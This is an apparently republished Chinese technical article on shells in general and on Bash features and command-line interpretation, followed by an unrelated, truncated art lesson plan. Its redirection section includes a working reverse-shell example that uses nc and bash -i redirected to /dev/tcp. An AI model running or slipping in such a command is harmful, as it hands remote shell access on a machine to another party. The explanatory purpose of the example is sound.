整合營銷服務(wù)商

          電腦端+手機端+微信端=數(shù)據(jù)同步管理

          免費咨詢熱線:

          Shell簡介:Bash的功能與解釋過程

          Shell簡介:Bash的功能與解釋過程

          Shell 是一種命令行解釋器, 其讀取用戶輸入的字符串命令, 解釋并且執(zhí)行命令. 它是一種特殊的應(yīng)用程序, 介于系統(tǒng)調(diào)用/庫與應(yīng)用程序之間, 其提供了運行其他程序的的接口.它可以是交互式的, 即讀取用戶輸入的字符串;也可以是非交互式的, 即讀取腳本文件并解釋執(zhí)行, 直至文件結(jié)束. 無論是在類 UNIX, Linux 系統(tǒng), 還是 Windows, 有很多不同種類的 Shell: 如類 UNIX, Linux 系統(tǒng)上的 Bash, Zsh 等; Windows 系統(tǒng)上的 cmd, PowerShell 等.

          Bash 是 Bourne Again SHell 的縮寫, 是 GNU 計劃中的 Shell, 也是一些類 UNIX 系統(tǒng)與多數(shù) Linux 發(fā)行版的默認 Shell. 本文對 Shell 進行簡介, 并對 Bash 的功能與解釋過程進行了介紹分析.

          關(guān)鍵詞: Shell Bash UNIX GNU Linux

          1. Shell 簡介

          1.1 類 UNIX 系統(tǒng)

          1991 年 4 月, Linux 尚未正式向外發(fā)布時, Linus Torvalds 在 80386 兼容機上成功實驗了在時鐘中斷下兩個任務(wù)相互切換, 即在屏幕上打印“AAA...”和“BBB...”[1]. 假如把 Linux 啟動之后運行程序替換為 Shell, 并具備一些工具程序等, 那么系統(tǒng)啟動之后就有了可以與用戶交互的操作界面.

          在 UNIX 系統(tǒng)[2]中, 圖 1 所示為 Shell 所在的層次.內(nèi)核控制硬件資源并提供進程運行的環(huán)境, 內(nèi)核接口的中間層是系統(tǒng)調(diào)用;庫在系統(tǒng)調(diào)用層之外, 應(yīng)用程序可以自由使用系統(tǒng)調(diào)用與庫函數(shù);而 Shell 是一種特殊的應(yīng)用程序, 介于系統(tǒng)調(diào)用與應(yīng)用程序之間[3].

          圖 1 UNIX 中 Shell 所在的層次

          在類 UNIX 系統(tǒng)中, /etc/passwd文件行中的最后一個字段表明了用戶使用的是什么登錄 Shell(login Shell), 可以通過chsh命令修改默認 Shell, 當然也可以直接編輯/etc/passwd進行修改, 以下枚舉了幾種 Shell.

          • Bourne Shell (sh), 曾經(jīng)是所有品牌 UNIX 的標準, 為 Solaris 10[4]的默認 Shell(Solaris 11 中 root Shell 軟鏈接到ksh).
          • C Shell (csh), 控制流語法類似于 C, 并且比 Bourne Shell 新增了作業(yè)控制, 歷史機制以及命令行編輯功能. 其曾是 FreeBSD[5]的默認 Shell(現(xiàn)被軟鏈接到tcsh).
          • Korn Shell (ksh)[6], 基于 BourneShell 源碼開發(fā), 又包含了 CShell 的作業(yè)控制, 命令行編輯等功能.其為 AIX[7]的默認 Shell.
          • TENEX Shell (tcsh), 兼容了 CShell, 并具備了命令補全功能.很多系統(tǒng)上(如 FreeBSD)的/bin/csh 就是軟鏈接或硬鏈接到了/bin/tcsh.
          • Bourne-again Shell (Bash)[8], GNU 計劃[9]的 Shell, 兼容了 Bourne Shell, 支持 C Shell 與 Korn Shell 的特征. 其為多數(shù) Linux 發(fā)行版與 macOS Mojave[10]及之前版本的默認 Shell, 也是 Solaris 11 的默認的用戶 Shell.
          • Z Shell (Zsh)[11], 拓展了 Bourne Shell, 其可編程的命令行補全功能可以補全選項與參數(shù)等, 交互起來比較便利. macOS Catalina 版本的默認 Shell 就是 Zsh.
          • Debian Almquist Shell(Dash)[12], 其目標是盡量輕量級與小巧, 對于大多數(shù)任務(wù)來說, 它比 Bash 速度要快.Linux 發(fā)行版的 Ubuntu[13] 6.10 版本之后, 以及 Debian[14] 6(Squeeze)版本之后/bin/sh軟鏈接到 dash.

          表 1 歸納了以上的幾種 UNIX 系統(tǒng)上的 Shell. 圖 2 表示幾種 Shell 的演進關(guān)系, 其中實線表示兼容繼承關(guān)系, 虛線表示支持了某些功能特征. 標準化方面, POSIX 系列標準[15](即 IEEE Std 1002, ISO/IEC 9945), 在 1993 年發(fā)布了基于 Bourne Shell 與 Korn Shell 的 Shell 標準—POSIX.1[16], 最新的是 POSIX.1-2017[17]. 上述的某些 Shell 后來也符合兼容了 POSIX 關(guān)于 Shell 的標準規(guī)范, 如 Bash 等.

          鑒于類 UNIX 系統(tǒng)中的 Linux 使用的廣泛性, 本文后續(xù)部分將以 Linux 作為默認的系統(tǒng)對 Bash 進行描述.

          表 1 UNIX中的幾種 Shell


          圖 2 UNIX 中 Shell 演進關(guān)系

          1.2 Windows 系統(tǒng)

          在 Windows 系統(tǒng)上, 有 cmd[18]與 PowerShell[19]兩種 Shell, 后者功能強大, 其是為了拓展前者的功能而設(shè)計的: 在 PowerShell 中可以運行 cmd 的命令, 而反之不可[20]. PowerShell 是構(gòu)建于.NET 上基于任務(wù)的命令行 Shell 和腳本語言, 它是跨平臺(Linux, macOS), 且開源的[21]. 此外, PowerShell 是基于對象而非文本, 命令的輸出是一個對象, 可以將輸出對象通過管道發(fā)送給另一個命令以作為其輸入.


          2. Bash 功能

          一些書籍[22]與 manual page 文檔可作為 Linux 中 Shell 命令行的學習的工具, man命令即可在本地查看該命令的說明文檔. 本文除了參考 GNU Bash 的參考手冊[23], 還有 Bash 的 manual page[24], 本節(jié)先介紹 Bash 在作為交互式 Shell 與登錄 Shell 時不同的啟動文件, 再介紹了 Bash 的內(nèi)置命令, 作業(yè)控制, 重定向與管道幾大功能.

          2.1 交互式 Shell 與登錄 Shell

          用戶可以與 Shell 進行交互, 系統(tǒng)可以以多種方式啟動運行 Shell. 根據(jù)用戶輸入與 Shell 的交互方式, Shell 可以分為交互式 Shell (interactive Shell)與非交互式 Shell:

          • 交互式 Shell, 處理用戶鍵入的命令, 并得到命令輸出. 一般情況下, 通過與用戶進行 IO 交互的 Shell, 都是交互式 Shell.
          • 非交互式 Shell, 執(zhí)行腳本文件命令, 直至文件結(jié)束時, 它也便退出了. 當運行 Shell 腳本時, 就啟動了非交互式 Shell.

          類似地, 根據(jù)登錄會話產(chǎn)生時, Shell 是否為第一個以該用戶 ID 執(zhí)行的進程, 可以分為登錄 Shell (login Shell)與非登錄 Shell:

          • 登錄 Shell, 是登錄會話產(chǎn)生時, 第一個以該用戶 ID 執(zhí)行的進程. 當通過文本控制臺, SSH, 或su - user命令登錄時, 就會得到一個登錄 Shell.
          • 非登錄 Shell, 登錄會話中非第一個用戶 ID 執(zhí)行的進程. 一般情況下, 通過運行腳本, 打開 GUI 命令行終端, 或su user命令登錄時, 就會得到非登錄 Shell.

          從以上 2 種維度劃分的 Shell, 也存在兩兩組合的: 如交互式的登錄 Shell, 非交互式的非登錄 Shell 等. 對于 Bash 來說, 不同的組合類型啟動時讀取執(zhí)行的文件是不同的, 表 2 作了歸納.

          1. 登錄 Shell 時(無論是否為交互式的), 那么它會讀取執(zhí)行 4 個文件: /etc/profile, ~/.bash_profile, ~/.bash_login, ~/.profile;
          2. 交互式的非登錄 Shell 時, 它會讀取執(zhí)行~/.bashrc;
          3. 非交互式的非登錄 Shell 時, 不會讀取執(zhí)行任何文件.

          表 2 Bash 啟動時讀取執(zhí)行文件

          值得一提的是, 很多~/.profile會有如下代碼, 就是為了使登錄 Shell 也會讀取執(zhí)行~/.bashrc. . ~/.bashrc source ~/.bashrc 此外, 登錄 Shell 在退出時會讀取執(zhí)行~/.bash_logout.

          2.2 內(nèi)置命令

          內(nèi)置命令(builtin command)是 Shell 自己實現(xiàn)的命令, 有的是因為某些功能僅能通過內(nèi)置化實現(xiàn), 有的則是追求性能而內(nèi)置化實現(xiàn).

          大部分內(nèi)置命令的存在是因為在另一個單獨的進程環(huán)境下難以實現(xiàn)或無法實現(xiàn). 如cd命令, 該命令在$PATH是不存在的, 我們知道, Shell 在創(chuàng)建執(zhí)行的命令進程結(jié)束后, 都不會影響 Shell 進程本身的 cwd (當前工作目錄), 因此cd命令只能 Shell 自己實現(xiàn). 影響當前 Shell 環(huán)境的命令只能內(nèi)置化實現(xiàn), 表 3 列舉了一些這樣的命令.

          表 3 只能內(nèi)置化實現(xiàn)的命令舉例

          小部分內(nèi)置命令的存在是為了提升那些頻繁使用命令的性能. 如echo, 該命令可以通過可執(zhí)行程序(coreutils軟件包中)實現(xiàn), 但 Bash 通過內(nèi)置化實現(xiàn)了echo無非是提升了性能, 省去了創(chuàng)建進程的開銷.

          內(nèi)置命令type可以顯示命令的類型信息, 代碼 1 枚舉了一些命令的類型, 有內(nèi)置命令, 關(guān)鍵字(keyword), 別名(alias), 函數(shù)(function), 以及最常見的可執(zhí)行文件(executable file).

          代碼 1 type命令顯示命令類型信息

          $ type echo
          echo is a shell builtin
          $ type if
          if is a shell keyword
          $ type ls
          ls is aliased to 'ls --color=auto'
          $ type myfunction
          myfunction is a function
          $ type cp
          cp is /usr/bin/cp
          $ type not_exist
          bash: type: not_exist: not found

          以下枚舉了一些常用的內(nèi)置命令與場景.

          • source filename 或 . filename(.即點號), 在當前環(huán)境中執(zhí)行filename. 執(zhí)行 Shell 腳本文件, 可能會影響當前 Shell 運行環(huán)境, 如環(huán)境變量, 函數(shù)等符號.
          • alias [name[=value] ... ], 顯示或創(chuàng)建別名. 別名是為一些命令選項創(chuàng)建一個自定義的名字, 甚至可以與原命令相同, 如alias ls='ls --color=auto', 就使ls自動帶入--color=auto選項.
          • exec [command [arguments ...]], 用command進程替代當前 Shell. 利用 Shell 本身調(diào)用execve(2)系統(tǒng)調(diào)用, 利用給定的命令進程替換了當前 Bash, 一般用在 Shell 腳本末尾處執(zhí)行某命令不必返回.
          • export [name[=value] ...], 為 Shell 變量設(shè)置導出屬性. 將每一個name記錄, 以此導出后續(xù)執(zhí)行的命令環(huán)境中, 一般是設(shè)置變量, 那么當前 Shell 就有了這個環(huán)境變量了.
          • read [-p prompt] [name ...], 從標準輸入讀取一行并分割為若干字段, 賦值給name變量. 選項prompt為提示字符, 這個命令提供了一種交互的方法, 一般用在與用戶 IO 的邏輯中.
          • time pipeline, 報告pipeline命令花銷的時間. 具體有實際時間, 用戶 CPU 時間, 系統(tǒng) CPU 時間, 用來統(tǒng)計命令時間開銷.

          2.3 作業(yè)控制

          終端會話中有一個控制終端, 也有前臺進程組/后臺進程組, 而控制終端與前臺進程組相關(guān); 作業(yè)是幾個進程的集合, 通常是一個進程的管道線[3]. 作業(yè)控制(job control)是指, 有選擇地停止(掛起)某些進程的執(zhí)行, 以及繼續(xù)(恢復(fù))某些停止進程執(zhí)行的能力. 在終端交互中, 終端驅(qū)動將一些鍵盤輸入的特殊字符轉(zhuǎn)變?yōu)樾盘朳25]發(fā)給前臺進程, 如SIGINT(Ctrl+C), SIGQUIT(Ctrl-\), SIGTSTP(Ctrl-Z). 因此, 通過這些特殊字符與 Shell 的作業(yè)控制功能, 可以方便快捷地控制前后臺任務(wù)的切換. 在 Bash 中, 每一個作業(yè)都有一個作業(yè) ID, 以下是作業(yè)控制相關(guān)的命令與符號.

          • jobs [jobspec ...], 顯示作業(yè)信息.
          • fg [jobspec], 將作業(yè)移至前臺.
          • bg [jobspec], 恢復(fù)后臺掛起的作業(yè)(在后臺)運行.
          • pipeline &, 符號&表示后臺進行.

          代碼 2 是一個作業(yè)控制舉例, 首先后臺創(chuàng)建了任務(wù) 1, sleep 10 &, 其在后臺運行; 再創(chuàng)建任務(wù) 2, ping -c 2 127.0.0.1, 其在前臺運行; 掛起任務(wù) 2, 其轉(zhuǎn)向后臺(Ctrl-Z), 且停止了; 將任務(wù) 1 轉(zhuǎn)向前臺(fg 1), 之后掛起(Ctrl-Z), 其也轉(zhuǎn)向后臺停止了; 此時兩個任務(wù)都后臺停止了. 最后, 任務(wù) 2 后臺恢復(fù)運行(bg 2)直至進程退出, 任務(wù) 1 轉(zhuǎn)至前臺運行(fg 1)至進程退出.

          代碼 2 作業(yè)控制舉例

          $ sleep 10 &   # 后臺啟動任務(wù)1
          [1] 79447
          $ jobs         # 只有一個任務(wù), 運行態(tài)
          [1]+  Running                 sleep 10 &
          $ ping -c 2 127.0.0.1 # 前臺啟動任務(wù)2
          PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
          64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.039 ms
          ^Z             # 鍵入Ctrl-Z, 任務(wù)2轉(zhuǎn)向后臺, 停止態(tài)
          [2]+  Stopped                 ping -c 2 127.0.0.1
          $ jobs         # 兩個任務(wù): 任務(wù)1運行態(tài), 任務(wù)2停止態(tài)
          [1]-  Running                 sleep 10 &
          [2]+  Stopped                 ping -c 2 127.0.0.1
          $ fg 1         # 任務(wù)1轉(zhuǎn)前臺運行
          sleep 10
          ^Z             # 鍵入Ctrl-Z, 即發(fā)送SIGTSTP
          [1]+  Stopped                 sleep 10
          $ jobs         # 兩個任務(wù), 都停止態(tài)
          [1]+  Stopped                 sleep 10
          [2]-  Stopped                 ping -c 2 127.0.0.1
          $ bg 2         # 任務(wù)2后臺恢復(fù)運行
          [2]- ping -c 2 127.0.0.1 &
          $ 64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.076 ms
          # ping統(tǒng)計信息略, 此時任務(wù)2結(jié)束, 鍵入回車
          [2]-  Done                    ping -c 2 127.0.0.1
          $ jobs         # 一個任務(wù): 任務(wù)1停止態(tài)
          [1]+  Stopped                 sleep 10
          $ fg 1         # 任務(wù)1轉(zhuǎn)向前臺
          sleep 10

          2.4 重定向

          在 UNIX 系統(tǒng)中, 文件對象是以文件描述符(file descriptor)來引用的, 操作系統(tǒng)會默認打開進程的 3 個文件描述符: 文件描述符0 - 標準輸入; 文件描述符1 - 標準輸出; 文件描述符2 - 標準出錯 (后文將分別以stdin, stdout, stderr表示). 命令在執(zhí)行之前, 它的文件描述符可以被復(fù)制, 打開, 關(guān)閉, 指向不同的文件等, 文件重定向便利了文件 IO 的操作. Bash 解析重定向符號, 是從左到右出現(xiàn)的順序處理的, 如下兩行命令的效果是不同的: 前者是將stdout與stderr都定向到文件dirlist; 而后者是先將stderr定向到stdout, 再將stdout定向到文件dirlist.

          ls > dirlist 2>&1 ls 2>&1 > dirlist

          Bash 處理多種重定向文件名, 若操作系統(tǒng)提供了相應(yīng)文件, 則 Bash 直接使用, 否則 Bash 會內(nèi)部模擬它們. 表 4 枚舉了/dev/目錄下的幾個文件, 反彈 Shell (reverse shell[26])中常常用到文件/dev/tcp/host/port, 當host是合理的主機名或 IP 地址且port是合理的服務(wù)名或端口號時, 其實在 Linux 中是不存在/dev/tcp或/dev/udp目錄的, 此時 Bash 解析這個路徑時會創(chuàng)建相應(yīng)的套接字[27][28]并做網(wǎng)絡(luò)連接.

          表 4 Bash 重定向的文件

          下面列舉了一些重定向的方法, 若文件描述符省略且重定向符為<與>, 則重定向?qū)ο缶头謩e是stdin與stdout.

          1. 重定向輸入(redirecting input). [n]<word 以讀方式打開的文件描述符n被重定向到文件word, 若n為0(stdin) 可省略.
          2. 重定向輸出(redirecting output). [n]>word 以寫方式打開的文件描述符n被重定向到文件word, 為1(stdout)時可省略. 若文件word不存在, 則創(chuàng)建它; 若存在就截斷長為 0.
          3. 追加重定向輸出(appending redirected output). [n]>>word 以追加(append)方式打開的文件描述符n被輸出重定向到文件word, 若n為1 (stdout)可省略. 若文件word不存在, 則創(chuàng)建它.
          4. 重定向stdout與stderr (redirecting standard output and standard error). &>word 或 >&word 同時將stdout與stderr都重定向到word, 以上兩種寫法同義, 但是第一種使用更多, 語義等價于如下. >word 2>&1
          5. 追加stdout與stderr (appending standard output and standard error). &>>word 同時將stdout與stderr都追加定向到word, 其語義等價于如下. >>word 2>&1
          6. 復(fù)制文件描述符 (duplicating file descriptors). [n]<&word 以讀方式打開的文件描述符word復(fù)制給文件描述符n, 即文件描述符n其實轉(zhuǎn)向了word. 若n為0 (stdin) 可省略. [n]>&word 把文件描述符n復(fù)制給以寫方式打開的文件描述符word, 即文件描述符n轉(zhuǎn)向了word. 若n為1 (stdout) 可省略.

          代碼 3 是反彈 Shell 的示例, 假設(shè)名字pc1可以被 DNS 解析為 PC1 的地址, 在 PC1 上通過nc監(jiān)聽6666端口, 則 PC2 通過文件重定向達到反彈 Shell 的效果: &>/dev/tcp/pc1/6666是將stdout與stderr重定向為到pc1:6666的 TCP 連接; <&1是將stdin也重定向文件描述符1 (stdout), 即到的 PC1 的 TCP 鏈接; 至此, stdin, stdout, stderr都被重定向到pc1:6666, 在 PC1 上就得到了 Shell.

          代碼 3 反彈 Shell 示例

          # 在PC1上, 監(jiān)聽TCP的6666端口
          $ nc -l -p 6666
          
          # 在PC2上, 打開一個交互Shell, 重定向stdin/stdout/stderr到TCP連接
          $ bash -i &>/dev/tcp/pc1/6666 <&1

          2.5 管道

          管道線(pipeline)是由一個或多個由|或|&符號分割的命令序列, 其格式如下. command [ [| 或 |&] command2 ... ]

          command的stdout通過管道連接到command2的stdin, 這個連接是先于重定向被 Bash 解釋處理的. |&符號表示command的stdout與stderr都通過管道連接到command2的stdin, 其實就是```2>&1 |''簡寫形式, 這種隱式的將stderr轉(zhuǎn)向stdout`是在 2.4 節(jié)所描述的重定向之后被 Bash 解釋處理的.

          很多命令從stdin讀入, 經(jīng)過處理, 寫到stdout, 這樣的命令都可以通過管道連接起來以實現(xiàn)復(fù)雜功能的處理, 非常簡潔實用. 以下枚舉了一些常用的管道相關(guān)的命令.

          • grep[29], 打印匹配模式的行.
          • sed(Stream EDitor)[30], 非交互式的命令行流文本編輯器.
          • awk(Aho, Weinberger, Kernighan), 文本模式掃描與處理語言解釋器. 有多種實現(xiàn), GNU 計劃的實現(xiàn)為gawk[31], 在某些 Linux 機器上, awk被符號鏈接到gawk.

          對于grep, sed, awk這 3 個命令: grep是對 RE 匹配的pattern進行打印; sed除了 RE 匹配還支持行匹配等, 除了打印還有插入, 刪除, 替換操作; awk拓展了sed能力, 其表達能力更強, 具有更豐富的變量支持與內(nèi)置函數(shù)等. 此外, 示例代碼 4 通過管道組合其中一些命令(cut, sort, uniq, xargs), 達到實用效果.

          代碼 4 幾個管道命令的組合

          # 統(tǒng)計/etc/passwd文件中的用戶使用的是什么Shell
          $ cut -d: -f7 /etc/passwd | sort | uniq -c
                4 /bin/bash
               26 /sbin/nologin
                5 /usr/bin/nologin
                1 /usr/bin/zsh
          
          # 統(tǒng)計/etc/passwd文件中的用戶使用Shell的文件信息
          $ cut -d: -f7 /etc/passwd | sort | uniq | xargs ls -l
          -rwxr-xr-x 1 root root 903504 Feb 14 03:41 /bin/bash
          -rwxr-xr-x 1 root root  14160 Feb  2 02:36 /sbin/nologin
          -rwxr-xr-x 1 root root  14160 Feb  2 02:36 /usr/bin/nologin
          -rwxr-xr-x 2 root root 869608 Feb 17 01:55 /usr/bin/zsh

          3 Bash 解釋過程

          3.1 總體流程

          用戶輸入命令行字符串, Bash 對其進行語法檢查過程中也有解釋過程, 文獻[32]的“命令行處理過程”一節(jié)有 Bash 解釋過程的相關(guān)描述, 圖 3 是 Bash 解釋的總體流程. Bash 首先會對輸入的字符串進行詞法分析, 將命令行字符串切割為 token; 之后會對第一個 token 進行別名(alias)檢查, 若其為別名則進行展開, 并對展開字符串繼續(xù)進行切割; 之后會進行一系列展開(expansion)操作, 最后命令進行查找, 判斷是否為函數(shù), 內(nèi)置命令還是可執(zhí)行文件, 并在特定環(huán)境中執(zhí)行它們.


          圖 3 Bash 解釋過程

          3.2 命令行的展開執(zhí)行

          圖 3 從輸入命令開始, 經(jīng)過切割 token 與別名檢查展開, 之后就是命令行展開過程, 最后是查找與執(zhí)行. 命令行展開按順序分為以下幾個步驟, 暫不考慮引號, 代碼 5 有相關(guān)舉例.

          代碼 5 命令行展開舉例

          # 花括號展開舉例
          $ echo {1..10} wh{e{n,re},at} {1..10..2}
          1 2 3 4 5 6 7 8 9 10 when where what 1 3 5 7 9
          
          # 波浪號展開舉例
          $ echo ~root/ ~xu/ ~/
          /root/ /home/xu/ /home/xu/
          
          # 對 $SHELL變量: 取子串, 轉(zhuǎn)大寫, 字符串替換, 后綴(最短匹配)刪除, 引號形式
          $ echo $SHELL ${SHELL:4} ${SHELL^^} ${SHELL/ba/z} ${SHELL%/*} ${SHELL@Q}
           /bin/bash /bash /BIN/BASH /bin/zsh /bin '/bin/bash'
          
          # 算術(shù)展開舉例(中間可以加空格)
          $ num=0xe
          $ echo $((  0xdeadbeef & 0xffff - 0xbe00 - $((num << 4)) ))
          15
          
          # 命令替換舉例, 打印當前用戶ID
          $ id -u $(whoami)
          1000
          
          # 路徑展開舉例, []*?匹配模式
          $ echo /dev/sd[ab]*
          /dev/sda /dev/sda1 /dev/sda2 /dev/sdb /dev/sdb1
          $ echo /dev/sd[ab]?
          /dev/sda1 /dev/sda2 /dev/sdb1
          1. 花括號展開(brace expansion), 處理{}格式. 這是一種字符產(chǎn)生機制, 可以嵌套, 但花括號內(nèi)不可有空格(空格后認為是下一 token), 可以是字符, 也可以是x到y(tǒng)步增inc的序列{x..y[..inc]}.
          2. 波浪號展開(tilde expansion), 處理~開頭格式的 token. token 開頭的波浪號至非引號斜線之前的字符稱為波浪號前綴(tilde-prefix), 如字符串~something/中的~something就是波浪號前綴. 在波浪號前綴中, 波浪號后的字符串被認為是個可能的登錄名(login name): 若登錄名為空, 則用$HOME變量替換波浪號; 若登錄名非空, 則用登錄名的 home 目錄替換波浪號前綴.
          3. 參數(shù)展開(parameter expansion), 處理${parameter}格式的變量. 有時花括號可以省略, 不過 Bash 提供了更復(fù)雜的參數(shù)展開功能, 如若變量未定義使用默認值, 取參數(shù)的子串, 大小寫轉(zhuǎn)換, 前后綴刪除, 字符串變換等.
          4. 算術(shù)展開(arithmetic expansion), 處理$((expression))格式的算術(shù)表達式. 算術(shù)展開可以嵌套, 其是以固定長度的整形數(shù)(fixed-width integer)計算而不檢查溢出, 支持的操作符與優(yōu)先級及其結(jié)合性都與 C 相同, 而且可以指定 N 進制數(shù). 此外, Bash 的變量可以作操作數(shù), 未定義或為空的變量值是 0. 代碼 5 有變量, 嵌套, 與十六進制計算.
          5. 命令替換(command substitution), 處理$(command)格式的命令. 支持嵌套, 在子 Shell 環(huán)境(其結(jié)果不影響當前 Shell 環(huán)境)中執(zhí)行命令, 并把命令替換為該命令的stdout, 并將文本最后的換行符刪掉. 文本中間產(chǎn)生的換行符在該步不會刪除, 但可能會單詞分割中進行. 反引號的形式`command`, 是老式的命令替換的寫法, 在嵌套時需要用反斜杠轉(zhuǎn)義掉內(nèi)部嵌套的反引號.
          6. 單詞分割(word splitting). 在 Bash 中有一個IFS的環(huán)境變量, 其默認值為<space><tab><newline>. IFS中的每一個字符都認為是分隔符, 利用IFS把前面展開過程中產(chǎn)生的字符串進行單詞分割.
          7. 路徑名展開(pathname expansion), 處理含*?[這 3 字符的 word. 單詞分割之后, 在路徑名展開時, Bash 掃描含*?[這 3 個字符的 word, Bash 把該 word 作為匹配模式(pattern), 并將匹配該模式的字母表序的文件名序列替換該 word. 若沒有匹配的文件名, Bash 默認(即shopt的nullglob為off)會保留原 word. 表 5 是路徑名展開的pattern的含義.

          表 5 路徑名展開的 pattern 含義

          在一系列的展開操作之后, 此時就要進行命令查找. 若命令不含/符號:

          1. Bash 先搜索函數(shù)(function), 若找到就在當前環(huán)境中執(zhí)行;
          2. Bash 搜索內(nèi)置命令(builtin command), 若找到就執(zhí)行之;
          3. 去$PATH中搜索可執(zhí)行文件, 若找到則在子環(huán)境中執(zhí)行.

          當然, 若命令含/字符, 說明該文件通過文件路徑即可訪問, 直接調(diào)用execve(2)系統(tǒng)調(diào)用即可.

          3.3 引號處理

          前文命令行展開的描述中都假設(shè)沒有引號 ,命令行中有了引號之后 ,圖 3 說明了含引號的解析過程 .代碼 6 示例了無引號 ,單引號以及雙引號在命令行解析過程的差異 :對于單引號來說 ,自切割完命令行 token 后直接就到了命令查找 ;雙引號只有參數(shù)展開 ,算術(shù)展開,命令替換,最后到命令查找.

          代碼 6 命令行中的引號處理

          # 新建一個別名
          $ alias myecho=echo
          
          # 無引號: 別名展開 -> 花括號展開 -> 波浪號展開 -> 變量展開 ->
          #        算術(shù)展開 -> 命令替換   -> 路徑名展開 -> 命令查找
          $ myecho wh{e{n,re},at} ~root/ ${SHELL^^} $((0x10*2)) $(whoami) /bi*
          when where what /root/ /BIN/BASH 32 xu /bin
          
          # 單引號: -> 命令查找
          $ 'myecho' hello
          bash: myecho: command not found
          $ echo 'wh{e{n,re},at} ~root/ ${SHELL^^} $((0x10*2)) $(whoami) /bi*'
          wh{e{n,re},at} ~root/ ${SHELL^^} $((0x10*2)) $(whoami) /bi*
          
          # 雙引號: 參數(shù)展開 -> 算術(shù)展開 -> 命令替換 -> 命令查找
          $ "myecho" hello
          bash: myecho: command not found
          $ echo "wh{e{n,re},at} ~root/ ${SHELL^^} $((0x10*2)) $(whoami) /bi*"
          wh{e{n,re},at} ~root/ /BIN/BASH 32 xu /bi*

          4 總結(jié)與展望

          本文重在闡述原理性的東西, 而不是某些命令的使用. 后續(xù)我們將繼續(xù)推出文章, 介紹一個支持作業(yè)控制/管道的 C 實現(xiàn)的簡易 Shell 的代碼.

          參考文獻

          [1] 趙炯. Linux 內(nèi)核完全剖析 [M].北京 :機械工業(yè)出版社, 2009.
          [2] The Open Group. The UNIX? Standard[EB/OL]. 2020. https://www.opengroup.org/membership/forums/platform/unix .
          [3] W. Richard Stevens, Stephen A. Rago. Advanced Programming in the UNIX Environment (Third Edition)[M]. AnnArbor: Pearson Education, 2013.
          [4] Oracle. Oracle Solaris 10[EB/OL]. 2020. https://www.oracle.com/solaris/solaris11/.
          [5] The FreeBSD Foundation. The FreeBSD Project[EB/OL]. 2020. https://www.freebsd.org/.
          [6] David Korn. KornShell[EB/OL]. 2000. http://www.kornshell.org/.
          [7] IBM. AIX, UNIX for IBM Power Systems | IBM[EB/OL]. 2020. https://www.ibm.com/it-infrastructure/power/os/aix .
          [8] Free Software Foundation. GNU Bash[EB/OL]. 2017. http://www.gnu.org/software/bash/.
          [9] Free Software Foundation. The GNU Operating System and the Free Software Movement[EB/OL]. 2020. http://www.gnu.org/ .
          [10] Apple. macOS Catalina -Apple[EB/OL]. 2020. https://www.apple.com/macos/catalina/ .
          [11] Zsh Web Page Maintainers. ZSH -THE Z SHELL[EB/OL]. 2020. http://zsh.sourceforge.net/ .
          [12] Herber Xu. Dash[EB/OL]. 2011. http://gondor.apana.org.au/~herbert/dash/ .
          [13] Canonical. The leading operating system for PCs, IoT devices, servers and the cloud | Ubuntu[EB/OL]. 2020. https://ubuntu.com/ .
          [14] Software in the Public Interest. Debian – The Universal Operating System[EB/OL]. 2020. https://www.debian.org/ .
          [15] IEEE. POSIX Certification home[EB/OL]. 2020. http://get.posixcertified.ieee.org/.
          [16] IEEE Computer Society. 1003.2-1992 -IEEE Standard for Information Technology–Portable Operating Sys tem Interfaces (POSIX(R))–Part 2: Shell and Utilities[S/OL]. 1993. https://standards.ieee.org/standard/1003_2-1992.html .
          [17] IEEE The Open Group. The Open Group Base Specifications Issue 7, 2018 edition[S/OL]. 2018. http://pubs.opengroup.org/onlinepubs/9699919799/ .
          [18] Microsoft. Cmd[EB/OL]. 2020. https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/cmd .
          [19] Microsoft. PowerShell Documentation[EB/OL]. 2020. https://docs.microsoft.com/en-us/powershell/.
          [20] Microsoft. Windows commands[EB/OL]. 2020. https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/windows-commands .
          [21] Microsoft Open Source Code of Conduct. PowerShell[EB/OL]. 2020. https://github.com/powershell/powershell .
          [22] 鳥哥.鳥哥的 Linux 私房菜基礎(chǔ)學習篇 (第四版)[M].北京 :人民郵電出版社, 2018.
          [23] Free Software Foundation. GNU Bash Manual[EB/OL]. 2019. https://www.gnu.org/software/bash/manual/.
          [24] Free Software Foundation. Bash(1) Manual Page[EB/OL]. 2018. https://tiswww.case.edu/php/chet/bash/bash.html.
          [25] linux Foundation. signal(7) -Linux manual page[EB/OL]. 2019. http://man7.org/linux/man-pages/man7/ signal.7.html .
          [26] Acunetix. What Is a Reverse Shell | Acunetix[EB/OL]. 2020. https://www.acunetix.com/blog/web-security-zone/what-is-reverse-shell/ .
          [27] Stevens W Richard, Fenner Bill, Rudoff Andrew M. UNIX network programming: the sockets networking API : Vol 1[M]. New York, USA : Addison-Wesley Professional, 2004.
          [28] Fall Kevin R, Stevens W Richard. TCP/IP illustrated, volume 1: the protocols[M]. New York, USA : Addison-Wesley, 2011.
          [29] Free Software Foundation. GNU grep -GNU Grep: Print lines matching a pattern -GNU Project -Free Software Foundation[EB/OL]. 2020. https://www.gnu.org/software/grep/manual/.
          [30] Free Software Foundation. GNU sed -GNU Project - Free Software Foundation[EB/OL]. 2020. https://www.gnu.org/software/sed/.
          [31] Free Software Foundation. Gawk: Effective AWK Programming -GNU Project -Free Software Founda- tion[EB/OL]. 2020. https://www.gnu.org/software/gawk/manual/.
          [32] Newham Cameron, Rosenblatt Bill. Learning the Bash Shell[M]. [S.l.] : O'Reilly Media, 2005.

          術(shù)教案-會轉(zhuǎn)的玩具

          教學目標 :

            1、 了解會轉(zhuǎn)物體的特征。

            2、 引導學生自主探索,通過剪、貼、畫等方法制作一個紙圈的會轉(zhuǎn)的玩具,進行簡單裝飾。

            3、 培養(yǎng)學生的環(huán)保意識,合理利用廢舊材料。通過自己制作感受美術(shù)活動的樂趣,培養(yǎng)動手和創(chuàng)新的能力。

            教學重點:了解轉(zhuǎn)動的原理,能夠掌握轉(zhuǎn)動玩具的制作方法。

            教學難點 :利用身邊的材料進行轉(zhuǎn)動玩具制作。

            教學過程 :

            一、 玩玩具

            師:老師手里呀有兩個好玩的東西,猜猜是什么?(學生猜測)

            生:……

            師:究竟是什么?瞧,(出示玩具,先陀螺,再轉(zhuǎn)轉(zhuǎn)兒)

            生:……

